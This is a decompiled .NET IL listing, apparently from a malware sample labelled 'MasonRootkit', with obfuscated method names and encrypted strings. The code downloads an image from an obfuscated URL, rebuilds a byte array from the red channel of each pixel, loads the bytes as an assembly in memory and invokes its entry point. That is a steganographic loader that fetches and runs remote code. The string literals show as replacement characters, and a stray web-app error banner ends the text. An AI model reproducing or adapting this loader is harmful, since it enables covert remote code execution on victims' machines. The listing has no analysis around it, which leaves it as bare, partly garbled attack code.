call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
nop <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_5
ldloc.s V_5
ldstr 
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1338693632
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.IO.Stream System.Net.WebClient::OpenRead(System.String)
newobj System.Void System.Drawing.Bitmap::.ctor(System.IO.Stream)
stloc.s V_6
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
newarr System.Byte
stloc.s V_7
ldc.i4.0 <null>
stloc.s V_8
br.s IL_02F1: ldloc.s V_8
ldloc.s V_7
ldloc.s V_8
ldloc.s V_6
ldloc.s V_8
ldc.i4.0 <null>
callvirt System.Drawing.Color System.Drawing.Bitmap::GetPixel(System.Int32,System.Int32)
stloc.s V_9
ldloca.s V_9
call System.Byte System.Drawing.Color::get_R()
stelem.i1 <null>
ldloc.s V_8
ldc.i4.1 <null>
add <null>
stloc.s V_8
ldloc.s V_8
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
blt.s IL_02D3: ldloc.s V_7
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldloc.s V_7
callvirt System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0323: leave.s IL_0331
ldloc.s V_6
brfalse.s IL_0322: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0331: leave.s IL_0367
ldloc.s V_5
brfalse.s IL_0330: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0367: ret
stloc.s V_10
ldstr 
煳
煄
煄
煙
煄
焖
煚
煙
煗
煒
煟
煘
煑
焖
煗
煘
煒
焖
煆
煄
煙
煕
煓
煅
煅
煟
煘
煑
焖
煂
煞
煓
焖
煔
煟
煂
煛
煗
煆
焌
焖
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1018065206
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0367: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙